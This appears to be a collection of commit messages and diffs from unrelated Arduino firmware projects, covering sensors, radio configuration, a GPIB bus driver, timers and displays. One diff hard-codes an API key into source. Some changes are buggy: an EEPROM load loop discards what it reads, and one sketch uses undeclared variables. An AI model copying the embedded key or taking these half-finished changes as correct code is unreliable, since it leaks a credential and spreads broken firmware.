     Serial.print(", ");
-    Serial.print(alphaSigned2);
+    Serial.print((alphaSigned2+1)*512);
     Serial.print(", ");
-    Serial.print(Input1);
+    Serial.print((Input1+1)*512);
     Serial.print(", ");
-    Serial.print(Input2);
+    Serial.print((Input2+1)*512);
+    Serial.print(", ");
+    Serial.print(Input3);
     Serial.print(", ");
     Serial.println(Input3);
+
     //isConnectionAlive = false;
     isFeedbackRequested = false;
     digitalWrite(ledPin, LOW);
@@ -396,11 +399,11 @@

   // read the analog in value:
   double raw_angle = analogRead(potPin)/1024.0*potentiometerMaxRange;
-  double neutralAngle = 0.8*potentiometerMaxRange;
+  double neutralAngle = 0.75*potentiometerMaxRange;
   double angle = raw_angle - neutralAngle;
   double correction_m = angle*potentiometerDistance;
   Input1 = angle/potentiometerUsedRange;
-  Input2 = absolute_position_m/linearRange;
+  Input2 = relative_position_m/linearRange;
   Input3 = analogRead(tensionPin);
   //Serial.print("P");
   //Serial.println(Input1);
@@ -431,7 +434,7 @@
   }
   if (myPID2.GetMode() ==AUTOMATIC)
   {
-    double offset_m = -0.02;
+    double offset_m = -0.0;
     Setpoint2 = StrToFloat(setpos2.value()) + offset_m/linearRange;
     myPID2.Compute();
     alphaSigned2 = Output2;


Cleanup guidance reporting

Cleanup guidance reporting

--- examples/arduino/diag_ard_touch_detect/diag_ard_touch_detect.ino
+++ examples/arduino/diag_ard_touch_detect/diag_ard_touch_detect.ino
@@ -139,11 +139,12 @@
       nPinYm = Dpins[1];
     }
     GSLC_DEBUG_PRINT("Final detection: YP=A%u XM=A%u YM=%u XP=%u\n", (nPinYp - A0), (nPinXm - A0), nPinYm, nPinXp);
+    GSLC_DEBUG_PRINT("\n\n", "");

     GSLC_DEBUG_PRINT("-----------------------------------------------\n", "");
     GSLC_DEBUG_PRINT("Recommended config settings:\n", "");
-    GSLC_DEBUG_PRINT("- Please copy these values over any existing ADATOUCH_PIN_* settings in your config.\n\n", "");
+    GSLC_DEBUG_PRINT("- Please copy these values over any existing ADATOUCH_PIN_* settings in your config (SECTION 4A).\n\n", "");

     GSLC_DEBUG_PRINT("  // Pinout for DRV_TOUCH_SIMPLE 4-wire resistive touchscreen\n", "");
     #if defined(DRV_DISP_ADAGFX_MCUFRIEND)
@@ -161,7 +162,7 @@
     GSLC_DEBUG_PRINT("- YP=A%u XM=A%u YM=%u XP=%u\n",
       (ADATOUCH_PIN_YP - A0), (ADATOUCH_PIN_XM - A0), ADATOUCH_PIN_YM, ADATOUCH_PIN_XP);
     GSLC_DEBUG_PRINT("-----------------------------------------------\n", "");
-    GSLC_DEBUG_PRINT("Current config match recommendation?: ", "");
+    GSLC_DEBUG_PRINT("Current config match recommendation? ", "");
     // Check pins for a match
     if ((nPinXm != ADATOUCH_PIN_XM) || (nPinXp != ADATOUCH_PIN_XP) || \
       (nPinYp != ADATOUCH_PIN_YP) || (nPinYm != ADATOUCH_PIN_YM))


corrected formatting for Serial.print

corrected formatting for Serial.print

--- firmware/examples/HDC1000test.ino
+++ firmware/examples/HDC1000test.ino
@@ -42,8 +42,8 @@
   // here is a different approach   RMB
   hdc.ReadTempHumidity();     // one conversion, one read version
   Serial.print("BothTemp: "); Serial.print(hdc.GetTemperature());
-  Serial.print("\t\BothHum: "); Serial.print(hdc.GetHumidity());
-  Serial.print("\t\BatteryLOW: ");
+  Serial.print("\tBothHum: "); Serial.print(hdc.GetHumidity());
+  Serial.print("\tBatteryLOW: ");
   if (hdc.batteryLOW()) Serial.println("TRUE");
   else Serial.println("FALSE");
   delay(500);


Frequency agile with 16 byte ee

Frequency agile with 16 byte ee

--- examples/RF12/RF12demo/RF12demo.ino
+++ examples/RF12/RF12demo/RF12demo.ino
@@ -10,12 +10,15 @@
 // Node numbers 16-31 can only be used if MAX_NODES and thereby
 // the size of the nodes array is adjusted accordingly
 //
+#define RF69_COMPAT 0 // define this to use the RF69 driver i.s.o. RF12
 #include <JeeLib.h>
 #include <util/crc16.h>
 #include <avr/eeprom.h>
 #include <avr/pgmspace.h>
 #include <util/parity.h>

+#define THIS_VERSION 0x0B
+
 #define DEBUG 1

 /// Save a few bytes of flash by declaring const if used more than once.
@@ -23,7 +26,6 @@
 const char COMMA[] PROGMEM = ",";
 const char SPACE[] PROGMEM = " ";
 const char INITFAIL[] PROGMEM = "config save failed\n";
-const char VERSION[] PROGMEM = "\n[RF12demo.11]";
 ///

 // ATtiny's only support outbound serial @ 38400 baud, and no DataFlash logging
@@ -93,7 +95,6 @@
 #define DATAFLASH 0
 // check for presence of DataFlash memory on JeeLink
 #define FLASH_MBIT  16  // support for various dataflash sizes: 4/8/16 Mbit
-
 #define LED_PIN   9     // activity LED, comment out to disable
 #endif

@@ -143,8 +144,6 @@
 /// --------------------------------------------------------------------------------------------------------------------------
 /// Useful url: http://blog.strobotics.com.au/2009/07/27/rfm12-tutorial-part-3a/
 // 4 bit
-#define QUIET   0x1      // quiet mode
-#define V10     0x2      // Indicates a version of RF12Demo after version 10.
 // ----------------
 // 8 bit
 #define COLLECT 0x20     // collect mode, i.e. pass incoming without sending acks
@@ -153,10 +152,13 @@
 typedef struct {
   byte nodeId;
   byte group;
-  int ee_frequency_hi : 4;  // Can't use as a 12 bit integer because of how they are stored in a structure.
-  boolean flags : 4;
-  int ee_frequency_lo : 8;  //
-  char msg[RF12_EEPROM_SIZE-6];
+  unsigned int hex_output : 2;
+  boolean collect_mode : 1;
+  boolean quiet_mode : 1;
+  boolean spare_flags : 4;
+  int frequency_offset; // Offset within band
+  byte RF12Demo_Version;
+  byte pad[RF12_EEPROM_SIZE-6];
   word crc;
 } RF12Config;

@@ -197,32 +199,10 @@

 static void saveConfig () {
   // set up a nice config string to be shown on startup
-  memset(config.msg, 0, sizeof config.msg);
-  config.flags  &= ~V10;               // Indicate v11 and upwards, unset the eeprom+2 0x20 bit !
-  config.ee_frequency_hi = frequency >> 8;
-  config.ee_frequency_lo = frequency & 0x00FF;
+  memset(config.pad, 0, sizeof config.pad);
+  config.frequency_offset = frequency;
   byte id = config.nodeId & 0x1F;
-  addCh(config.msg, '@' + id);
-  strcat(config.msg, " i");
-  addInt(config.msg, id);
-  if (config.nodeId & COLLECT)
-    addCh(config.msg, '*');
-
-  strcat(config.msg, " g");
-  addInt(config.msg, config.group);
-
-  strcat(config.msg, " @");
-  static word bands[4] = { 0, 430, 860, 900 }; // 315, 433, 864, 915 Mhz
-  band = config.nodeId >> 6;
-  long wk = frequency;                                        // 96 - 3903 is the range of values supported by the RFM12B
-  wk = wk * (band * 25);                                      // Actual freqency changes are larger in higher bands
-  long characteristic = wk/10000;
-  addInt(config.msg, characteristic + bands[band]);
-  byte pos = strlen(config.msg);
-  addInt(config.msg, ((10000 + (wk - (characteristic * 10000)))));; // Adding 10,000 the digit protects the leading zeros
-  config.msg[pos] = '.';                                            // Loose the 10,000 digit
-  strcat(config.msg, " MHz");
-
+  config.RF12Demo_Version = THIS_VERSION;
   config.crc = ~0;
   for (byte i = 0; i < sizeof config - 2; ++i)
     config.crc = _crc16_update(config.crc, ((byte*) &config)[i]);
@@ -242,6 +222,11 @@

 // - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
 // OOK transmit code
+
+#if RF69_COMPAT // not implemented in RF69 compatibility mode
+static void fs20cmd(word house, byte addr, byte cmd) {}
+static void kakuSend(char addr, byte device, byte on) {}
+#else

 // Turn transmitter on or off, but also apply asymmetric correction and account
 // for 25 us SPI overhead to end up with the proper on-the-air pulse widths.
@@ -291,6 +276,8 @@
     delay(11); // approximate
   }
 }
+
+#endif

 // - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
 // DataFlash code
@@ -881,12 +868,12 @@
         if (value == 123) Sleep;
         break;
         case 'q': // turn quiet mode on or off (don't report bad packets)
-        if (value) config.flags |= QUIET;
-          else config.flags &= ~QUIET;
+        if (value) config.quiet_mode = true;
+          else config.quiet_mode = false;
         saveConfig();
         break;
       case 'x': // set reporting mode to hex (1) or decimal (0)
-        useHex = value;
+        config.hex_output = value;
         break;
       case 'v': //display the interpreter version
         displayVersion(1);
@@ -1014,7 +1001,7 @@
 }

 void displayVersion(uint8_t newline ) {
-  showString(VERSION);
+//  showString(VERSION);
   if(newline!=0) {
 #if defined(__AVR_ATtiny84__) || defined(__AVR_ATtiny44__)
     showString(PSTR(" T "));
@@ -1065,8 +1052,8 @@
   else {
     config.nodeId = 0x41; // 433 MHz, node 1
     config.group = 0xD4;  // default group 212
-    frequency = 1600;
-    config.flags = 0xC;   // Default flags, quiet off and non V10
+    config.frequency_offset = 1600;
+    config.quiet_mode = true;   // Default flags, quiet on
     nodes[(config.nodeId & RF12_HDR_MASK)] = 0;  // Prevent allocation of this nodes number.
 //  saveConfig();         // Don't save to eeprom until we have changes.
   }
@@ -1081,14 +1068,12 @@
 } // Setup

 void initialize() {
-  config.nodeId = eeprom_read_byte(RF12_EEPROM_ADDR);
-  config.group = eeprom_read_byte(RF12_EEPROM_ADDR + 1);
-  frequency = eeprom_read_byte(RF12_EEPROM_ADDR + 2);
-  config.flags = frequency >> 4;               // Extract the flag nibble
-  if (config.flags & V10)                      // Is this a pre v11 eeprom
-    frequency = 1600;
-  else // Lose flag nibble to get frequency high order
-    frequency = ((frequency & 0x0F)  << 8) + (eeprom_read_byte(RF12_EEPROM_ADDR + 3));
+    // load from EEPROM
+  for (byte i = 0; i < sizeof config; ++i) {
+    byte b = ((byte*) &config)[i];
+    b = eeprom_read_byte(RF12_EEPROM_ADDR + i);
+  }
+
   nodes[(config.nodeId & RF12_HDR_MASK)] = 0;  // Prevent allocation of this nodes number.
 }
 /// Display stored nodes and show the command queued for each node
@@ -1117,7 +1102,7 @@
     if (rf12_crc == 0)
       showString(PSTR("OK"));
     else {
-      if (config.flags && ~QUIET)
+      if (config.quiet_mode)
         return;
       showString(PSTR(" ?"));
       if (n > 20) // print at most 20 bytes if crc is wrong
@@ -1136,6 +1121,14 @@
         showString(SPACE);
       showByte(rf12_data[i]);
     }
+#if RF69_COMPAT
+    Serial.print(" (");
+    if (useHex)
+        showByte(RF69::rssi);
+    else
+        Serial.print(-(RF69::rssi>>1));
+    Serial.print(')');
+#endif
     Serial.println();
   if (useHex > 1) {  // Print ascii interpretation under hex output
     showString(PSTR("ASC"));


Create file 'lcd_module_firmware.ino'. Setted up the radio for the module


Update Computational_Firmware.ino

Update Computational_Firmware.ino

--- Current_Designs/Computational_Datalogger/Firmware/Computational_Firmware/Computational_Firmware.ino
+++ Current_Designs/Computational_Datalogger/Firmware/Computational_Firmware/Computational_Firmware.ino
@@ -1,7 +1,7 @@
 // Firmware for the CIWS Residential Datalogger
 // Arduino IDE ver. 1.8.9
 // Utah Water Research Lab
-// Updated: 8/14/2019
+// Updated: 9/10/2019
 // Daniel Henshaw and Josh Tracy

 /*****************************************************************************************************************\


Added Timer

Added Timer

New Timer interrupt

--- Software/GoTender/GoTender.ino
+++ Software/GoTender/GoTender.ino
@@ -117,9 +117,43 @@
 static uint16_t   oldValue = 0;

+
+// ISR **********************************************************
+// ----------------------------------------------------------------------------
+/// \brief     Timer interrupt
+/// \detail    For measurement: Every 10 ms an interrupt
+/// \warning
+/// \return
+/// \todo      Check, if 10 ms is correct
+///
+uint8_t runMeasurement;
+ISR(TIMER3_COMPA_vect)
+{
+   runMeasurement = 1;
+}
+
+
+
+
 // Initialization **********************************************************
 // The setup function runs once when you press reset or power the board
 void setup() {
+
+   //@Anne: Bitte kontrolliere folgenden Code
+   // Er sollte alle 10 ms ein Timer-Interrupt auslösen (für deine Regelung)
+   // und setzt ein Flag runMeasurement auf 1
+
+   // Timer for Controller
+   // Init timer 3, interrupts every second
+   TCCR3A = 0;
+   TCCR3B = 0xc;     // CTC mode, prescaler = 256+ (clk/256 (From prescaler)
+
+   OCR3A = 625;      // 16 MHz / 256 = 62500 gives exactly one second (2 Output Compare Register)
+                     // Speedup: 10 ms = 625
+
+   TIMSK3 |= 0x02;   // Enable output compare match ints
+   sei();            // Enable interrupts
+
    // Initialize LEDs
    pinMode(GREEN_LED_PIN, OUTPUT);
    pinMode(RED_LED_PIN, OUTPUT);


minor fixes

minor fixes

--- arduino/edison2fiware.ino
+++ arduino/edison2fiware.ino
@@ -8,23 +8,23 @@
   char pass[] = "xxxxx";    // your network password (use for WPA, or use as key for WEP)
   int keyIndex = 0;            // your network key Index number (needed only for WEP)
   int status = WL_IDLE_STATUS;
+  WiFiClient client;
+
+  //################ FIWARE VARIABLES ################
+  char FIWARE_APIKEY[] = "lzSnQpEsC0lZVOVXaqZK";
+  char FIWARE_DEVICE[] = "myEdison";
+  char FIWARE_SERVER[] = "test.ttcloud.net";
+  int FIWARE_PORT = 8082;

-  //################# NETWORK VARIABLES #################
-  // Name of the server we want to connect to
-  char server[] = "test.ttcloud.net";
-  int port = 8082;
-  WiFiClient client;
-
-  //################ FIWARE VARIABLES ################
-  char FIWARE_APIKEY[] = "xxxxxx";
-  char FIWARE_DEVICE[] = "myEdison";

   //################ SENSOR VARIABLES ################
   const int numsensors = 2;
   String measures[numsensors][2];
+  // wait 2s between measures
+  int MEASURES_PERIOD = 2000;

-
+
   void setup()
   {
     // put your setup code here, to run once:
@@ -44,8 +44,7 @@
     readSensors();
     postMeasures();

-    // wait 1s between measures
-    delay(1000);
+    delay(MEASURES_PERIOD);

   }

@@ -82,6 +81,7 @@
   void readSensors()
   {
     //Reading Light and Button Sensors contained in Grove Starter Kit for Arduino
+
     //Connect Light Sensor on Analogic PIN A0
     int lum = analogRead(A0);
     measures[0][0] = "l";
@@ -101,10 +101,11 @@
   void postMeasures()
   {
     Serial.println("\nStarting connection to server...");
+
     String body;

     // if you get a connection, report back via serial:
-    if (client.connect(server, port)) {
+    if (client.connect(FIWARE_SERVER, FIWARE_PORT)) {
       Serial.println("connected to server");
       for (int i = 0; i < numsensors; i++){
         body= body + String(measures[i][0])+"|"+String(measures[i][1]);
@@ -123,6 +124,7 @@
     client.println(body);
     Serial.println(body);
     client.stop();
+
     }
   }


add arduino code

add arduino code


firmware still not working

firmware still not working

--- firmware/firmware.ino
+++ firmware/firmware.ino
@@ -196,7 +196,7 @@
 #define DIO8_ARDUINO_PIN  12

-void gpib_write(byte_t data) {
+void gpib_set_data_bus(byte_t data) {
     set_gpib_data_bus_mode(OUTPUT);
     digitalWrite(DIO1_ARDUINO_PIN, GET_BIT(data, 0));
     digitalWrite(DIO2_ARDUINO_PIN, GET_BIT(data, 1));
@@ -208,7 +208,7 @@
     digitalWrite(DIO8_ARDUINO_PIN, GET_BIT(data, 7));
 }

-byte_t gpib_read() {
+byte_t gpib_get_data_bus() {
     set_gpib_data_bus_mode(INPUT_PULLUP);
     byte_t data = 0x0;
     digitalRead(DIO1_ARDUINO_PIN) ? CLEAR_BIT(data, 0) : SET_BIT(data, 0);
@@ -222,6 +222,10 @@
     return data;
 }

+void gpib_release_data_bus() {
+    set_gpib_data_bus_mode(INPUT_PULLUP);
+}
+
 void set_gpib_data_bus_mode(arduino_pinmode_t mode) {
     pinMode(DIO1_ARDUINO_PIN, mode);
     pinMode(DIO2_ARDUINO_PIN, mode);
@@ -246,6 +250,139 @@
 }

+// --- Misc utils functions ---
+
+void settle() {
+    delayMicroseconds(150);
+}
+
+
+// Useful resources:
+// - http://www.hp9845.net/9845/tutorials/hpib/
+
+
+// --- GPIB implementation ---
+
+
+void send_byte(byte_t data) {
+    // wait for all devices to be ready for data.
+    while (check_nrfd() == true) { settle(); }
+
+    // place our data onto the bus
+    gpib_set_data_bus(data);
+    settle();
+
+    // inform the listeners that the data is ready.
+    assert_dav();
+    settle();
+
+    // wait for all devices to read the data.
+    while (check_ndac() == true) { settle(); }
+
+    // indicate that we are done transmitting this byte.
+    unassert_dav();
+    settle();
+
+    // release the data bus lines.
+    gpib_release_data_bus();
+    settle();
+}
+
+// Uni-line (single) commands.
+// Uni-line commands only require that one bus line be asserted, and do not require a handshake.
+// Use the assert_x functions for these commands:
+void IFC() {
+    assert_ifc();
+    settle();
+    unassert_ifc();
+    settle();
+}
+
+
+// Universal multi-line commands
+// Universal multi-line commands work by asserting ATN while putting a data byte on the bus.
+// The data byte determines which command is issued.
+// Universal multi-line commands apply to all devices on the bus.
+#define LAD_BASE  0x20
+#define TAD_BASE  0x40
+#define SAD_BASE  0x60
+
+byte_t self_gpib_address = 30;
+
+// "Device Listen Address": configure the device at the given address to be a listener.
+void LAD(byte_t address) {
+    send_byte(LAD_BASE + address);
+}
+
+// "Device Talk Address": configure the device at the given address to be a talker.
+void TAD(byte_t address) {
+    send_byte(TAD_BASE + address);
+}
+
+// "Secondary Device Address".
+void SAD(byte_t address) {
+    send_byte(SAD_BASE + address);
+}
+
+// "My Listen Address": declare self to be the listener.
+void MLA() {
+    LAD(self_gpib_address);
+}
+
+// "My Talk Address": declare self to be the talker.
+void MTA() {
+    TAD(self_gpib_address);
+}
+
+// "Unlisten": change all listeners back to an idle state.
+void UNL() {
+    LAD(31);
+}
+
+// "Untalk": change all talkers back to an idle state.
+void UNT() {
+    TAD(31);
+}
+
+
+// REN: place the device at the given address into REMOTE (listen) mode.
+void REN(byte_t address) {
+    assert_ren();
+    assert_atn();
+    settle();
+
+    UNL();
+    TAD(self_gpib_address);
+    LAD(address);
+
+    unassert_atn();
+    settle();
+}
+
+
+void test_K196() {
+    REN(17);
+    send_byte('D');
+    send_byte('A');
+    send_byte('T');
+    send_byte('M');
+    send_byte('E');
+    send_byte('G');
+    send_byte('A');
+    send_byte('X');
+}
+
+
+// Addressed commands
+// Addressed commands use multiple bus lines.
+// Addressed commands work by asserting ATN while putting a data byte on the bus.
+// The data byte determines which command is issued.
+// Addressed commands apply to only one device on the bus, so they require some setup.
+// Before you can issue one of these commands, you need to set up a device as a listener (or talker).
+
+
+
+
 // --- Low-level remote control protocol ---

@@ -322,6 +459,7 @@
 // %  Print an informational message ("atmega-gpib\n")

 #define CMD_PING   '%'
+#define CMD_PERFORM_TEST_1   '1'

 // --- GPIB commands ---
@@ -492,13 +630,13 @@

 void write_data(byte_t data, SoftwareSerial *serial) {
-    gpib_write(data);
+    gpib_set_data_bus(data);
     serial->write("ok\n");
 }

 void read_char_data(SoftwareSerial *serial) {
-    char ch = (char)gpib_read();
+    char ch = (char)gpib_get_data_bus();
     serial->write("data: ");
     serial->write(ch);
     serial->write("\n");
@@ -506,7 +644,7 @@

 void read_hex_data(SoftwareSerial *serial) {
-    byte_t data = gpib_read();
+    byte_t data = gpib_get_data_bus();
     char buff[3];
     byte_to_hex(data, buff);
     serial->write("data: ");
@@ -760,6 +898,11 @@
             serial->write("atmega-gpib\n");
             break;

+        case CMD_PERFORM_TEST_1:
+            test_K196();
+            serial->write("ok\n");
+            break;
+
         default:
             print_error(ERROR_UNKNOWN_COMMAND, serial);
             char buff[3];
@@ -804,7 +947,21 @@
     pinMode(RX_ARDUINO_PIN, INPUT);
     pinMode(TX_ARDUINO_PIN, OUTPUT);
     serial.begin(9600);
-    delay(1);
+
+    // Initialize the GPIB bus
+    unassert_atn();
+    unassert_ifc();
+    unassert_srq();
+    unassert_ren();
+    unassert_eoi();
+
+    unassert_dav();
+    unassert_ndac();
+    unassert_nrfd();
+
+    gpib_release_data_bus();
+
+    settle();
 }

 void loop() {


Time/Date now displays correctly

Time/Date now displays correctly

--- Arduino_HVAC_Controller/Networked_HVAC_Controller/Networked_HVAC_Controller.ino
+++ Arduino_HVAC_Controller/Networked_HVAC_Controller/Networked_HVAC_Controller.ino
@@ -377,7 +377,7 @@
     }
   }
   //Serial.print("IP number assigned by DHCP is ");
-  Serial.println(Ethernet.localIP());
+  //Serial.println(Ethernet.localIP());
   Udp.begin(localPort);
   //Serial.println("waiting for sync");
   setSyncProvider(getNtpTime);
@@ -391,14 +391,17 @@
 // ----------------------------------------------------------------------------------------
 String get_time() {
   String timeString = "";
-    if (timeStatus() != timeNotSet) {
-      timeString = hour() + ":";
-      if(minute() < 10) {
-        timeString = timeString + "0";
-      }
-      timeString = timeString + minute() + "  " + month() + " " + day() + " " + year();
-  }
-  return timeString;
+  if (timeStatus() != timeNotSet) {
+    timeString = (String) hour() + ":";
+    if(minute() < 10) {
+      timeString = timeString + "0";
+    }
+    timeString = timeString + (String) minute() + "  " + (String) month() + " " + (String) day() + " " + (String) year();
+    return timeString;
+  }
+  else {
+    return "Time not set";
+  }
 }


forward 1 ft left right

forward 1 ft left right

--- robo_JS_setup/robo_JS_setup.ino
+++ robo_JS_setup/robo_JS_setup.ino
@@ -1,13 +1,13 @@

 int forwardInPin = A0;                         // variable forwardInPin to analog input 0
-int leftOutPin = 8;                            // variable leftOutPin to digital 8
-int rightOutPin = 7;                          // variable rightOutPin to digital 12
+int leftOutPin = 5;                            // variable leftOutPin to digital 8
+int rightOutPin = 6;                          // variable rightOutPin to digital 12
 int led = 13;                                  // varaible led to digital 13
 int turn90 = 500;                              // variable turn90
 int moveTime = 500;                            // variable moveTime
 int waitTime = 1000;                           // variable waitTime
-int forwardPower = 255;                        // variable forwardPower
-int turnPower = 127;                           // variable turnPower
+int forwardPower = HIGH;                        // variable forwardPower
+int turnPower = 255;                           // variable turnPower

@@ -21,9 +21,9 @@

 void loop() //list of instructions
 {
-    moveForward();
+   moveForward();
     turnRight();
-    stopMovement();
+//    stopMovement();
     delay(waitTime);
     indicatorLight();
     indicatorLight();
@@ -56,7 +56,7 @@

 void stopMovement() // stop robot
 {
-    analogWrite(forwardInPin, 0);             // turns off forward power
+//    analogWrite(forwardInPin, HIGH);             // turns off forward power
     digitalWrite(leftOutPin, LOW);            // left stops pulling in
     digitalWrite(rightOutPin, LOW);           // right stops pulling in
 }


average out readings

average out readings

--- vibrate_alarm_clock_2.ino
+++ vibrate_alarm_clock_2.ino
@@ -73,6 +73,19 @@
 boolean showLCD = true;
 unsigned long lastVibration;
 boolean lastMotorState = false;
+
+
+const int numReadings = 40;
+
+int percentReadings[numReadings];
+int percentIndex = 0;
+long percentTotal = 0;
+
+int milliVoltReadings[numReadings];
+int milliVoltIndex = 0;
+long milliVoltTotal = 0;
+
+

 void setup() {

@@ -154,6 +167,8 @@
     long vccVoltage = getVcc();
     //Serial.println(vccVoltage);
     int batteryMilliVolt = ((long) voltageADCReading * vccVoltage) / ADC_PRECISION;
+
+

     writeTimeToDisplayBuffer(now, blinkOn, secondsBlink);
     writeAlarmToDisplayBuffer(blinkOn);
@@ -549,24 +564,43 @@
 }

+int getNewAverageReadingFromCurrentReading(int array[], int * index, long * total, int numReadings, int newReading){
+  *total = *total - array[*index];
+  array[*index] = newReading;
+  *total = *total + array[*index];
+
+  *index = *index + 1;
+
+
+  if (*index >= numReadings) {
+    *index = 0;
+  }
+  int average =  *total / numReadings;
+  return average;
+}
+
 void writeVoltageToDisplayBuffer(int batteryMilliVolt){
   uView.setFontType(0);
   uView.setCursor(0,32);
-
-
+
+  batteryMilliVolt = getNewAverageReadingFromCurrentReading(milliVoltReadings, &milliVoltIndex, &milliVoltTotal, numReadings, batteryMilliVolt);
   float voltage = (float) batteryMilliVolt / 1000;

-  char buff[6];
-  String voltageString = dtostrf(voltage, 4, 2, buff);
-
-  uView.print(voltageString);
-  uView.print("V");
+//  char buff[6];
+//  String voltageString = dtostrf(voltage, 4, 2, buff);
+//
+//  uView.print(voltageString);
+//  uView.print("V");

   int batteryRange = MAX_BATTERY_MILLIVOLT - MIN_BATTERY_MILLIVOLT;

   //Cast to long as Arduino int is only 16 bits wide. Not enough to hold this result
   long numerator =  ((long) ((batteryMilliVolt - MIN_BATTERY_MILLIVOLT))) * 100;
   int batteryPercent = numerator / batteryRange;
+
+
+  batteryPercent = getNewAverageReadingFromCurrentReading(percentReadings, &percentIndex, &percentTotal, numReadings, batteryPercent);
+

   if(batteryPercent < 100){
     uView.setCursor(47,32);


Added comments + finalized switch status checking

--- bike_flasher.ino
+++ bike_flasher.ino
@@ -1,5 +1,7 @@
 //http://wayoda.github.io/LedControl/
 //http://playground.arduino.cc/Main/LedControl
+//This last revision stands untested
+

 #include "LedControl.h"
 #include "binary.h"
@@ -8,19 +10,30 @@
   const int CS = 11;
   const int CLK = 10; */

-/*const int leftButton = 7;
+const int leftButton = 7;
 const int rightButton = 6;
-const int rightLed = 5;
-const int leftLed = 4; */
+const int rightLED = 5;
+const int leftLED = 4;

 LedControl lc = LedControl (12,11,10,0);

 void setup() {
-  lc.shutdown(0, false);
-  lc.setIntensity(0, 10);
-  lc.clearDisplay(0);
+    //Initialize pins by declaring their use according to the Arduino standard
+    pinMode(leftButton, INPUT);
+    pinMode(rightButton, INPUT);
+    pinMode(leftLED, OUTPUT);
+    pinMode(rightLED, OUTPUT);
+
+    //Initialize the LED matrix according to the LedControl examples
+    lc.shutdown(0, false);
+    lc.setIntensity(0, 10);
+    lc.clearDisplay(0);
 }

+
+/*  This function declares a variable representing a right arrow and applies it to the matrix.
+    It then clears the matrix.
+    */
 void rightArrow() {
   //byte right[8]  = {0x38,0x1c,0xe,0xff,0xff,0xe,0x1c,0x38};
   byte right [8] = {0x18,0x0c,0x06,0xff,0xff,0x06,0x0c,0x18};
@@ -38,6 +51,10 @@
   delay(600);
 }

+
+/*  This function declares a variable representing a left arrow and applies it to the matrix.
+    It then clears it.
+    */
 void leftArrow() {
   //byte left[8]  = {0x1c,0x38,0x70,0xff,0xff,0x70,0x38,0x1c};
   byte left[8] = {0x18,0x30,0x60,0xff,0xff,0x60,0x30,0x18};
@@ -55,7 +72,14 @@
   delay(600);
 }

+
 void loop() {
-  leftArrow();
-  //rightArrow();
+    //Check for switch status
+    leftButtonState = digitalRead(leftButton);
+    rightButtonState = digitalRead(rightButton);
+
+
+    //Display an arrow according to the state of the buttons.
+    if(leftButtonState == HIGH) { leftArrow(); }
+    if (rightButtonState == HIGH) { rightArrow(); }
 }


Simplifications and more error checking

Simplifications and more error checking

--- morse/morse.ino
+++ morse/morse.ino
@@ -3,23 +3,25 @@
  *
  * Blink a given message onto a pin, presumable holding an LED in series with a resistor.
  */
-const unsigned int pin = 8;
-const char message[] = "NICK HEARTS MARIE STOP";
+
+#include <Arduino.h>
+
+#define pin 8
+static char message[] = "NICK HEARTS MARIE STOP";

 /*
  * Morse code
- * NB: delay() takes unsigned long
  */
-const unsigned long dotLength_ms = 100;  /* this is the only configurable knob; 50 ms is standard */
-const unsigned long dashLength_ms = 3 * dotLength_ms;
-const unsigned long blinkSpaceLength_ms = dotLength_ms;
-const unsigned long charSpaceLength_ms = 3 * dotLength_ms;
-const unsigned long wordSpaceLength_ms = 7 * dotLength_ms;
+#define dotLength_ms 100  /* this is the only configurable knob; 50 ms is standard */
+#define dashLength_ms (3 * dotLength_ms)
+#define blinkSpaceLength_ms dotLength_ms
+#define charSpaceLength_ms (3 * dotLength_ms)
+#define wordSpaceLength_ms (7 * dotLength_ms)

 /* The 3 high bits are length; 5 low bits are dots (0) or dashes (1).
    The LSB is the first symbol, so you read them right to left. */
 #define NUM_MORSE_SYMBOLS 36  /* capital letters plus numerals */
-const byte morseEncoding[] = {
+static byte morseEncoding[] = {
 	B10111111,  /* 0 is ----- */
 	B10111110,  /* 1 is .---- */
 	B10111100,  /* 2 is ..--- */
@@ -65,16 +67,25 @@
 	B10000011  /* Z is --.. */
 };

-void dot() {
+static void dot() {
 	digitalWrite(pin, HIGH);
 	delay(dotLength_ms);
 	digitalWrite(pin, LOW);
 }

-void dash() {
+static void dash() {
 	digitalWrite(pin, HIGH);
 	delay(dashLength_ms);
 	digitalWrite(pin, LOW);
+}
+
+size_t messageIdx = 0;
+static void advanceChar() {
+	messageIdx++;
+	if (messageIdx >= strlen(message)) {
+		delay(wordSpaceLength_ms);  /* add implicit space before looping */
+		messageIdx = 0;
+	}
 }

 void setup() {
@@ -82,40 +93,36 @@
 	pinMode(pin, OUTPUT);
 }

-size_t messageIdx = 0;
-void advanceChar() {
-	messageIdx++;
-	if (messageIdx >= strlen(message)) {
-		delay(wordSpaceLength_ms);  /* add implicit space before looping */
-		messageIdx = 0;
-	}
-}
-
 /* proceed one character per cycle */
 void loop() {
-	byte messageChar = message[messageIdx];
+	byte encodedChar;
+	byte charNumSymbols;

-	/* special cases */
+	/* read next char */
+	char messageChar = message[messageIdx];
+
+	/* handle special cases and validate input */
 	if (messageChar == ' ') {  /* space */
 		delay(wordSpaceLength_ms - charSpaceLength_ms - blinkSpaceLength_ms);
 		advanceChar();
 		return;
-	} else if (messageChar > '9' && messageChar < 'A') {  /* Invalid char! Skip. */
+	} else if (messageChar < '0' ||
+		       (messageChar > '9' && messageChar < 'A') ||
+		       messageChar > 'Z') {  /* Invalid char! Skip. */
 		advanceChar();
 		return;
 	}

 	/* unpack current character encoding */
-	byte encodedChar = morseEncoding[messageChar - '0'];
-	byte charNumSymbols = encodedChar >> 5;  /* top three bits */
-	byte charSymbols = encodedChar & 0x1F;  /* bottom five bits */
+	encodedChar = morseEncoding[messageChar - '0'];
+	charNumSymbols = encodedChar >> 5;  /* top three bits */

 	/* iterate over symbols in char frorm right to left */
 	while (charNumSymbols--) {
-		if (charSymbols & 1) dash();
+		if (encodedChar & 1) dash();
 		else dot();
 		delay(blinkSpaceLength_ms);
-		charSymbols >>= 1;
+		encodedChar >>= 1;
 	}

 	/* terminate char */


Updated example to use first Serial by default.

--- examples/Commander/Commander.ino
+++ examples/Commander/Commander.ino
@@ -1,7 +1,7 @@
 #include "Commander.h"

-//Serial_ *serial = &Serial;
-HardwareSerial *serial = &Serial1;
+Serial_ *serial = &Serial;
+//HardwareSerial *serial = &Serial1;

 Commander commander(serial);


Decrease network HIBERNATE_DELAY WAKE_UP_DELAY to 10 ms.

--- examples/SensorMqttXbeeDhtLpm/SensorMqttXbeeDhtLpm.ino
